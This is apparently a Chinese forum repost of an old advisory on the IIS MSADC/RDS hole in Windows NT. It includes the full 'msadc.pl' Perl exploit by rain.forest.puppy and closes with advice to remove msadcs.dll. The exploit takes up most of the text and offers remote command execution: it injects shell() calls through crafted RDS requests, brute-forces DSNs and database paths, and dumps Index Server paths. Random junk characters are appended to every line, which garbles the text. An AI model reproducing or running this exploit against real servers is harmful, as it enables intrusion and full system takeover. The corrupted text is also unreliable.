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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) >zvY\{WY  
-F/st  
涉及程序: BcWcdr+}9  
Microsoft NT server `bI)<B  
`1` f*d v  
描述: <Cpp?DW_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YB))S!;Ok  
^WYQ]@rh3  
详细: I_)*)d44_  
如果你没有时间读详细内容的话,就删除: fN%jJ-[d  
c:\Program Files\Common Files\System\Msadc\msadcs.dll +Lm4kA+aE5  
有关的安全问题就没有了。 'Ye v} QM  
`|O yRU"EK  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 J:dof:q  
0X|_^"!  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =v~1qWX  
关于利用ODBC远程漏洞的描述,请参看: AnsjmR:Jv  
_o6G6e,  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm & -l8n^  
NLd``=&  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 }-p[V$:S  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp gT+Bhr  
GOy%^:Xd  
这里不再论述。 1MsWnSvzf  
'!h/B;*(  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: qem(s</:  
u^W2UE\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset K/_9f'^  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! v5ur&egVs  
[] W;t\h  
* A|-KKo\  
#将下面这段保存为txt文件,然后: "perl -x 文件名" W`rNBfG>  
oP?YA-#nc  
#!perl \t4tiCw  
# Z,7R;,qX  
# MSADC/RDS 'usage' (aka exploit) script +t)n;JHN  
# kYwb -;  
# by rain.forest.puppy ws/63 d*  
# FN[R(SLbL  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^4Am %yyT  
# beta test and find errors! `b5 @}',  
>RI>J.~  
use Socket; use Getopt::Std; we7c`1E  
getopts("e:vd:h:XR", \%args); .aOnGp  
,8G{]X)  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Y(VJbm`  
x|64l`Vp(:  
if (!defined $args{h} && !defined $args{R}) { B6P|Z%E;D6  
print qq~ ^nK7i[yF.k  
Usage: msadc.pl -h <host> { -d <delay> -X -v } gYop--\14]  
-h <host> = host you want to scan (ip or domain) ]uL +&(cr  
-d <seconds> = delay between calls, default 1 second Y$8JM  
-X = dump Index Server path table, if available eL D?jTi'  
-v = verbose q> :$c0JY  
-e = external dictionary file for step 5 #.B"q:CW*P  
=nUW'  
Or a -R will resume a command session *!e(A ]&  
<-Bx&Q  
~; exit;} 9Mm!%Hu  
T5Eseesp  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; iX{G]< n  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 1t[j"CG(o  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 9a$56GnW1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {NM+Oj,~'  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KGHq rc  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `em9T oJV  
XJ0 {  
if (!defined $args{R}){ $ret = &has_msadc; FE7)E.U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} nQK|n^AU/  
hv$yV%.`  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" p4u5mM  
. "cmd /c "; "I- w  
$in=<STDIN>; chomp $in; $3+PbYY  
$command="cmd /c " . $in ; m(OvD!  
 r}_c  
if (defined $args{R}) {&load; exit;} 'Yy&G\S  
_A_ A$N~9  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; p\v Mc\  
&try_btcustmr; 2 -!L _W(  
Ft JjY@#  
print "\nStep 2: Trying to make our own DSN..."; &:*q_$]Oz  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 9~IQw#<  
c8 K3.&P6  
print "\nStep 3: Trying known DSNs..."; 3B0lb "e  
&known_dsn; ]LPQYL  
cFd > oDS  
print "\nStep 4: Trying known .mdbs..."; X*oMFQgP  
&known_mdb; *DI)?  
(LAXM x  
if (defined $args{e}){ 2i#Sn'1  
print "\nStep 5: Trying dictionary of DSN names..."; `:{B(+6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } p^m5`{1]x  
2Nc>6  
print "Sorry Charley...maybe next time?\n"; -5G)?J/*  
exit; :B *}^g  
uUR~&8ERX  
############################################################################## ^ ?hA@{T/1  
%%%fL;-y  
sub sendraw { # ripped and modded from whisker Wk;5/  
sleep($delay); # it's a DoS on the server! At least on mine... Pj#'}ru!  
my ($pstr)=@_; {y kYW%3s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wYsZM/lw  
die("Socket problems\n"); =wu*D5  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5m$2Ku  
select(S); $|=1; )4Q?aMm  
print $pstr; my @in=<S>; o;F" {RZ  
select(STDOUT); close(S); 6`01EIk  
return @in; hm$X]H`uMX  
} else { die("Can't connect...\n"); }} jZfx Jm  
U$&hZ_A  
############################################################################## f6<g3Q7Mu  
U4?(A@z9^  
sub make_header { # make the HTTP request m@Ev~~;  
my $msadc=<<EOT /BKe+]dS*  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7J$b$P0}  
User-Agent: ACTIVEDATA fg%&N2/(.B  
Host: $ip _,h@:Xij  
Content-Length: $clen VU|dV\>  
Connection: Keep-Alive j|.} I  
)YW<" $s  
ADCClientVersion:01.06 79J-)e9  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 92W&x'  
DLE8+NV8   
--!ADM!ROX!YOUR!WORLD! vy@rQC %9  
Content-Type: application/x-varg WUdKLx %F  
Content-Length: $reqlen e= P  
J a,d3K  
EOT r~[vaQQ6L  
; $msadc=~s/\n/\r\n/g; ]J1S#Q5'  
return $msadc;} ig"uXs  
lw%?z/HDf  
############################################################################## 8am`6;O:!  
dm rps+L  
sub make_req { # make the RDS request 4NEq$t$Jn  
my ($switch, $p1, $p2)=@_; Z*{] ,  
my $req=""; my $t1, $t2, $query, $dsn; 3ucP(Ex@tg  
CCijf]+  
if ($switch==1){ # this is the btcustmr.mdb query JM$.O;y -  
$query="Select * from Customers where City=" . make_shell(); nHFrG =o,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . R_P}~l  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} &Jc_Fc(M  
D.!~dyI.,$  
elsif ($switch==2){ # this is general make table query ytEC   
$query="create table AZZ (B int, C varchar(10))"; H( -Y  
$dsn="$p1";} >/f_F6ay#  
}|)R   
elsif ($switch==3){ # this is general exploit table query 2 mjV~  
$query="select * from AZZ where C=" . make_shell(); AS!6XT  
$dsn="$p1";} qgt[~i*  
3{Nbp  
elsif ($switch==4){ # attempt to hork file info from index server :)f7A7:;  
$query="select path from scope()"; pfuW  
$dsn="Provider=MSIDXS;";} qL5I#?OMkU  
b}ODWdJ1  
elsif ($switch==5){ # bad query |8_JY2 R  
$query="select"; UAS@R`?cI  
$dsn="$p1";} %bXx!x8(  
OY-w?'p?W  
$t1= make_unicode($query); 6+rlXmd  
$t2= make_unicode($dsn); ~0"p*?^  
$req = "\x02\x00\x03\x00"; N8cAqr  
$req.= "\x08\x00" . pack ("S1", length($t1)); q*jNH\|  
$req.= "\x00\x00" . $t1 ; c{ZY,C&<  
$req.= "\x08\x00" . pack ("S1", length($t2)); #PvB/3  
$req.= "\x00\x00" . $t2 ; Q3W#`6jpF  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +H/jK@  
return $req;} G%p~m%zIK  
K?x,T8<aW  
############################################################################## SM0M%  
5`/@N{e  
sub make_shell { # this makes the shell() statement XhzGLYb~I`  
return "'|shell(\"$command\")|'";} Rn%N&1 Ef  
HY;o ^drd  
############################################################################## cNpe_LvW  
}S-DB#6  
sub make_unicode { # quick little function to convert to unicode wbyE;W  
my ($in)=@_; my $out; ij5g^{_T;8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 8$N8}q%  
return $out;} jd`},X/  
tL SN`6[:  
############################################################################## X8eJ4%  
A?Qa 4i  
sub rdo_success { # checks for RDO return success (this is kludge) GnXNCeE`  
my (@in) = @_; my $base=content_start(@in); ivgpS5 M`Y  
if($in[$base]=~/multipart\/mixed/){ vh!v MB}}  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} wu<])&F  
return 0;} k`HP "H  
bSwWszd~  
############################################################################## :m=m}3/:  
OIHz I2{  
sub make_dsn { # this makes a DSN for us u]^N&2UW  
my @drives=("c","d","e","f"); [mxTa\  
print "\nMaking DSN: "; /76 1o\Q  
foreach $drive (@drives) { Rr(* aC2P  
print "$drive: "; +!-~yf#RE  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . iyZZ}M  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ek aFN\  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); cR-~)UyrO  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; nq} Q  
return 0 if $2 eq "404"; # not found/doesn't exist )Ag/Qep  
if($2 eq "200") { !;@_VWR  
foreach $line (@results) { 9ILIEm:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} tHD  
} return 0;} `+lHeLz':  
6< J #^ 6  
############################################################################## ~H)4)r^  
$v.C0 x  
sub verify_exists { nm$Dd~mxW1  
my ($page)=@_; Thy=yz;p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 9n]|PEoAB  
return $results[0];} p5=|Y^g !  
?8dVH2W.  
############################################################################## qJ!Z~-hS  
39U5jj7i  
sub try_btcustmr { \ A1uhHP!  
my @drives=("c","d","e","f"); fHrt+_Zn|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yDb'7(3-  
>e5 *prx+  
foreach $dir (@dirs) { P=L$;xgp  
print "$dir -> "; # fun status so you can see progress ;cQW sTfT  
foreach $drive (@drives) { _,Fny_u=;  
print "$drive: "; # ditto .o%^'m"=D[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; )o1eWL}  
$reqlenlen=length( "$reqlen" ); j83? m  
$clen= 206 + $reqlenlen + $reqlen; ,7Y-k'7Kop  
a~h:qpg c  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Dq\ Jz~  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} V{-AP=C7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} n;HHogA  
eC DIwB28  
############################################################################## 8GPIZh'0 h  
\2[<XG(^  
sub odbc_error { TG48%L  
my (@in)=@_; my $base; m4K* <  
my $base = content_start(@in); Mj>}zbpk /  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this js^ ,(CS  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~Vh(6q.oT  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Bsf7mcXz7z  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F+UG'4%  
return $in[$base+4].$in[$base+5].$in[$base+6];} Op.8a`XLt&  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; S-+"@>{HJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . yn AB  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} + j+5ud`  
uxn)R#?  
############################################################################## 5F+APz7  
K`}{0@ilCw  
sub verbose { %Kh4m7  
my ($in)=@_; )CPM7>  
return if !$verbose; JG`Q;K  
print STDOUT "\n$in\n";} _Jz8{` "  
aeyNdMk -  
############################################################################## pD"vRbYF  
:6J +%(f  
sub save { i>L+gLW  
my ($p1, $p2, $p3, $p4)=@_; XKL3RMF9r  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 3gWvmep1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; MfF~8  
close OUT;} _i_Q?w`  
->z54 T  
############################################################################## -Ue$T{;RoH  
\mM<\-'p  
sub load { h+.{2^x  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; =rA~7+}  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Xy,lA4IP  
@p=<IN>; close(IN); a/Q$cOs  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `cz2DR-"  
$target= inet_aton($ip) || die("inet_aton problems"); KAA-G2%M  
print "Resuming to $ip ..."; [sV"ws  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }K1 0Po'  
if($p[1]==1) { <F7kh[L_x  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; <`X"}I3 ba  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; v!3A9!.  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); "eWk#/  
if (rdo_success(@results)){print "Success!\n";} =.<@`1  
else { print "failed\n"; verbose(odbc_error(@results));}} i!2TH~zl  
elsif ($p[1]==3){ oeSN9O  
if(run_query("$p[3]")){ zQ?!f#f  
print "Success!\n";} else { print "failed\n"; }} 'mCe=Y  
elsif ($p[1]==4){ WFR?fDtE  
if(run_query($drvst . "$p[3]")){ ^VW PdH/Fe  
print "Success!\n"; } else { print "failed\n"; }} $w)~O<_U  
exit;} TlL^7f}  
C,V%B  
############################################################################## 1sE?YJP-  
O-]mebTvw  
sub create_table { qs\2Z@;  
my ($in)=@_; !J1rRPV  
$reqlen=length( make_req(2,$in,"") ) - 28; e:E0"<  
$reqlenlen=length( "$reqlen" ); 'oNO-)p\#!  
$clen= 206 + $reqlenlen + $reqlen; @}_WE,r  
my @results=sendraw(make_header() . make_req(2,$in,"")); 8bK|:B#6,  
return 1 if rdo_success(@results); !?f5>Bl  
my $temp= odbc_error(@results); verbose($temp); _EnwME {@  
return 1 if $temp=~/Table 'AZZ' already exists/; OV2 -8ERS  
return 0;} t- u VZ!`\  
(2ur5uk+  
############################################################################## #1c]PX  
vr#+0:|  
sub known_dsn { @Q&3L~K"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go I +5)Jau^S  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~"pKe~h   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", kh~'Cn "O  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Dih6mTP{  
r?m+.fJB  
foreach $dSn (@dsns) { j.~!dh$mg  
print "."; (Q[fS:U  
next if (!is_access("DSN=$dSn")); G CRz<)1  
if(create_table("DSN=$dSn")){ lPH%Do>K  
print "$dSn successful\n"; 2Y}?P+:%>  
if(run_query("DSN=$dSn")){ h'J|K^na  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H|ozDA  
print "Something's borked. Use verbose next time\n";}}} print "\n";} rrg96WD  
AIb2k  
############################################################################## xX3'bsN  
OJT1d-5p  
sub is_access { I{JU-J k|  
my ($in)=@_; 4p%A8%/q  
$reqlen=length( make_req(5,$in,"") ) - 28; M)*\a/6?{  
$reqlenlen=length( "$reqlen" ); 6-`|:[Q~  
$clen= 206 + $reqlenlen + $reqlen; MUOa@O,  
my @results=sendraw(make_header() . make_req(5,$in,"")); bQe^Px5 !.  
my $temp= odbc_error(@results); (npj_s!.C)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 5tJ,7Y'  
return 0;} *vgl*k?)  
R(.}C)q3  
############################################################################## IcP)FB 4  
4=uhh  
sub run_query { 64Lx -avf  
my ($in)=@_; 4?N8R$  
$reqlen=length( make_req(3,$in,"") ) - 28; }'r[m5T  
$reqlenlen=length( "$reqlen" ); r|4t aV&  
$clen= 206 + $reqlenlen + $reqlen; j Ja$a [  
my @results=sendraw(make_header() . make_req(3,$in,"")); I8oo~2Q w  
return 1 if rdo_success(@results); a`Gx=8  
my $temp= odbc_error(@results); verbose($temp); AV 8n(  
return 0;} "G >3QL+O|  
NmK8<9`u  
############################################################################## wB'zuPAK6  
V)Z70J <'  
sub known_mdb { d]9U^iy  
my @drives=("c","d","e","f","g"); Iff9'TE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '65LKD  
my $dir, $drive, $mdb; C]^H&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 80A.<=(=.  
[dtbkQt,c  
# this is sparse, because I don't know of many HM>lg`S  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  u66XN^  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 'mI'dG  
"\\system32\\certmdb.mdb", =b;>?dP  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% I H$0)g;s  
$/Aj1j`"9+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", AM=z`0so  
"\\cfusion\\cfapps\\forums\\forums_.mdb", kq\)MQ"/X  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", .CP& bJP%  
"\\cfusion\\cfapps\\security\\realm_.mdb", zMIT}$L  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Zmbfq8K  
"\\cfusion\\database\\cfexamples.mdb", {M,,npl  
"\\cfusion\\database\\cfsnippets.mdb", ^Rm  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", (&$VxuJ+6y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", !lo/xQ<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", cj11S>D  
"\\cfusion\\database\\smpolicy.mdb", iy""(c  
"\\cfusion\\database\cypress.mdb", :JlP[I  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6TP7b|  
"\\website\\cgi-win\\dbsample.mdb", 4Llo`K4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", P`r55@af4  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" d[rv1s>i  
); #these are just a>\vUv*  
foreach $drive (@drives) { Ym;*Y !~[  
foreach $dir (@dirs){ cqxVAzb  
foreach $mdb (@sysmdbs) { +r3IN){jz  
print "."; 8[6o (  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ y qtKy  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; o1nURJ!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (8_\^jJ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; h6dPO"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Vh>Z,()>>@  
p~LrPWHSTP  
foreach $drive (@drives) { n~VD uKn9  
foreach $mdb (@mdbs) { <nEi<iAY>U  
print "."; G "P4-  
if(create_table($drv . $drive . $dir . $mdb)){ s+tGFjq  
print "\n" . $drive . $dir . $mdb . " successful\n"; OtFh,}E  
if(run_query($drv . $drive . $dir . $mdb)){ zbJT&@z  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &/,|+U[  
} else { print "Something's borked. Use verbose next time\n"; }}}} \9-"M;R.d  
} G:g69=x y  
O|_h_I-2  
############################################################################## `~eUee3b.~  
QeF3qXI  
sub hork_idx { 6'xsG?{JY  
print "\nAttempting to dump Index Server tables...\n"; N&@}/wzZ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; gv5*!eI  
$reqlen=length( make_req(4,"","") ) - 28; Q_l'o3  
$reqlenlen=length( "$reqlen" );  }-~l!  
$clen= 206 + $reqlenlen + $reqlen; s&'QN=A  
my @results=sendraw2(make_header() . make_req(4,"","")); \W1/p`  
if (rdo_success(@results)){ [9:9Ql_h  
my $max=@results; my $c; my %d; -*.-9B~u  
for($c=19; $c<$max; $c++){ :6$>_m=i  
$results[$c]=~s/\x00//g; 6;b~Ht  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V59(Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; kQ]$%Lk[  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,@5I:X!rR  
$d{"$1$2"}="";} v+9 9 -.  
foreach $c (keys %d){ print "$c\n"; } (5\N B0  
} else {print "Index server doesn't seem to be installed.\n"; }} tDUwy^j  
O$4yAaD X  
############################################################################## >LDhU%bH  
[=~pe|8:  
sub dsn_dict { o6$4/I  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); sH\5/'?  
while(<IN>){ \l~*PG2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; V^;jJ']  
next if (!is_access("DSN=$dSn")); s=CK~+,/  
if(create_table("DSN=$dSn")){ w6j/ Dq!  
print "$dSn successful\n"; %D *OO{  
if(run_query("DSN=$dSn")){ Dd` Mv$*d8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &r:7g%{n  
print "Something's borked. Use verbose next time\n";}}} /Z7iLq~t"G  
print "\n"; close(IN);} }f2r!7:x  
o=`C<}  
############################################################################## jlxpt)0i  
2#k5+?-c61  
sub sendraw2 { # ripped and modded from whisker AlJ} >u  
sleep($delay); # it's a DoS on the server! At least on mine... NVRLrJWpp  
my ($pstr)=@_; u]OW8rc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || kZ"BBJ6w  
die("Socket problems\n"); R LD`O9#j  
if(connect(S,pack "SnA4x8",2,80,$target)){ B5$kHM%p  
print "Connected. Getting data"; itMg|%B%  
open(OUT,">raw.out"); my @in; D_Bb?o5  
select(S); $|=1; print $pstr; g:EVhuK  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} T1H"\+  
close(OUT); select(STDOUT); close(S); return @in; ^Ox3XC  
} else { die("Can't connect...\n"); }} zl`h~}I  
Wl}&?v&@  
############################################################################## 7F'`CleU  
W6Y@U$P#G  
sub content_start { # this will take in the server headers t45Z@hmcW  
my (@in)=@_; my $c; yq$,,#XDD=  
for ($c=1;$c<500;$c++) { tor!Dl@Mo  
if($in[$c] =~/^\x0d\x0a/){ aM;W$1h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]LM-@G+Jz  
else { return $c+1; }}} 7 x<i :x3  
return -1;} # it should never get here actually 71l%MH  
rXHv`k y  
############################################################################## [<KM?\"1<  
)5 R=Z<  
sub funky { k?7 X3/O  
my (@in)=@_; my $error=odbc_error(@in); )rixMl &[  
if($error=~/ADO could not find the specified provider/){ edPUG N  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; IY*EA4>  
exit;} B-r0"MX&  
if($error=~/A Handler is required/){ LCQE_}Mh  
print "\nServer has custom handler filters (they most likely are patched)\n"; fj&i63?e  
exit;} >]c*'~G&  
if($error=~/specified Handler has denied Access/){ {%C7EAq*  
print "\nServer has custom handler filters (they most likely are patched)\n"; \J6j38D5  
exit;}} SV(]9^nW  
'PP#^aI,  
############################################################################## D$x_o!JT  
(IPY^>h  
sub has_msadc { 1m.W<  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 3g6j?yYqb  
my $base=content_start(@results); Ox@P6|m  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ^I+)o1%F  
return 0;} *2GEnAZb7n  
J4\qEO  
######################## h5K$mA5  
CoA6  
Y5j]Z^^v  
解决方案: xL" |)A =  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll I&YSQK:b  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 /g4f`$a  
ZGd!IghL  
拿出来充数 哈哈
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